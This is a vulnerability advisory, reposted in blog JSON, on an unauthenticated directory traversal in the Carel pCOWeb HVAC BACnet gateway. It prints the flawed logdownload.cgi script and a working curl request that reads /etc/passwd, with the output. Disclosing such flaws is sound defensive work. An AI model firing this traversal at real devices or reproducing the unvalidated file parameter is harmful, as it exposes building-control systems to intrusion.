\nCarel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal<\/p>\n
Vendor: CAREL INDUSTRIES S.p.A.
\nProduct web page: https:\/\/www.carel.com
\nAffected version: Firmware: A2.1.0 – B2.1.0
\nApplication Software: 2.15.4A
\nSoftware version: v16 13020200<\/p>\n
Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC\/R
\napplications and systems. It consists of programmable controllers, user interfaces,
\ngateways and communication interfaces, remote management systems to offer the OEMs
\nworking in HVAC\/R a control system that is powerful yet flexible, can be easily interfaced
\nto the more widely-used Building Management Systems, and can also be integrated into
\nproprietary supervisory systems.<\/p>\n
Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability.
\nInput passed through the ‘file’ GET parameter through the ‘logdownload.cgi’ Bash script
\nis not properly verified before being used to download log files. This can be exploited
\nto disclose the contents of arbitrary and sensitive files via directory traversal attacks.<\/p>\n
=======================================================================================
\n\/usr\/local\/www\/usr-cgi\/logdownload.cgi:
\n—————————————<\/p>\n
01: #!\/bin\/bash
\n02:
\n03: if [ “$REQUEST_METHOD” = “POST” ]; then
\n04: read QUERY_STRING
\n05: REQUEST_METHOD=GET
\n06: export REQUEST_METHOD
\n07: export QUERY_STRING
\n08: fi
\n09:
\n10: LOGDIR=”\/usr\/local\/root\/flash\/http\/log”
\n11:
\n12: tmp=${QUERY_STRING%”$”*}
\n13: cmd=${tmp%”=”*}
\n14: if [ “$cmd” = “dir” ]; then
\n15: PATHCURRENT=$LOGDIR\/${tmp#*”=”}
\n16: else
\n17: PATHCURRENT=$LOGDIR
\n18: fi
\n19:
\n20: tmp=${QUERY_STRING#*”$”}
\n21: cmd=${tmp%”=”*}
\n22: if [ “$cmd” = “file” ]; then
\n23: FILECURRENT=${tmp#*”=”}
\n24: else
\n25: if [ -f $PATHCURRENT\/lastlog.csv.gz ]; then
\n26: FILECURRENT=lastlog.csv.gz
\n27: else
\n28: FILECURRENT=lastlog.csv
\n29: fi
\n30: fi
\n31:
\n32: if [ ! -f $PATHCURRENT\/$FILECURRENT ]; then
\n33: echo -ne “Content-type: text\/html\\r\\nCache-Control: no-cache\\r\\nExpires: -1\\r\\n\\r\\n”
\n34: cat carel.inc.html
\n35: echo “<center>File not available!<\/center>”
\n36: cat carel.bottom.html
\n37: exit
\n38: fi
\n39:
\n40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then
\n41: if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then
\n42: if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then
\n43: echo -ne “Content-Type: text\/csv\\r\\n”
\n44: else
\n45: echo -ne “Content-Type: image\/svg+xml\\r\\n”
\n46: fi
\n47: else
\n48: echo -ne “Content-Type: image\/bmp\\r\\n”
\n49: fi
\n50: else
\n51: echo -ne “Content-Type: application\/x-gzip\\r\\n”
\n52: fi
\n53: echo -ne “Content-Disposition: attachment; filename=$FILECURRENT\\r\\n\\r\\n”
\n54:
\n55: cat $PATHCURRENT\/$FILECURRENT<\/p>\n
=======================================================================================<\/p>\n
Tested on: GNU\/Linux 4.11.12 (armv7l)
\nthttpd\/2.29<\/p>\n
Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
\n@zeroscience<\/p>\n
Advisory ID: ZSL-2022-5709
\nAdvisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2022-5709.php<\/p>\n
10.05.2022<\/p>\n
—<\/p>\n
$ curl -s http:\/\/10.0.0.3\/usr-cgi\/logdownload.cgi?file=..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd<\/p>\n
root:x:0:0:root:\/root:\/bin\/sh
\ndaemon:x:1:1:daemon:\/usr\/sbin:\/bin\/false
\nbin:x:2:2:bin:\/bin:\/bin\/false
\nsys:x:3:3:sys:\/dev:\/bin\/false
\nsync:x:4:100:sync:\/bin:\/bin\/sync
\nmail:x:8:8:mail:\/var\/spool\/mail:\/bin\/false
\nwww-data:x:33:33:www-data:\/var\/www:\/bin\/false
\noperator:x:37:37:Operator:\/var:\/bin\/false
\nnobody:x:65534:65534:nobody:\/home:\/bin\/false
\nguest:x:502:101::\/home\/guest:\/bin\/bash
\ncarel:x:500:500:Carel:\/home\/carel:\/bin\/bash
\nhttp:x:48:48:HTTP users:\/usr\/local\/www\/http:\/bin\/false
\nhttpadmin:x:200:200:httpadmin:\/usr\/local\/www\/http:\/bin\/bash
\nsshd:x:1000:1001:SSH drop priv user:\/:\/bin\/false<\/p>\n","protected":false},"excerpt":{"rendered":"
Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal Vendor: CAREL INDUSTRIES S.p.A. Product web page: https:\/\/www.carel.com Affected version: Firmware: A2.1.0 – B2.1.0 Application Software: 2.15.4A Software version: v16 13020200 Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC\/R applications and systems. It consists of programmable controllers, user interfaces, gateways and …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26370","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26370","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26370"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26370\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26370"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26370"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26370"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}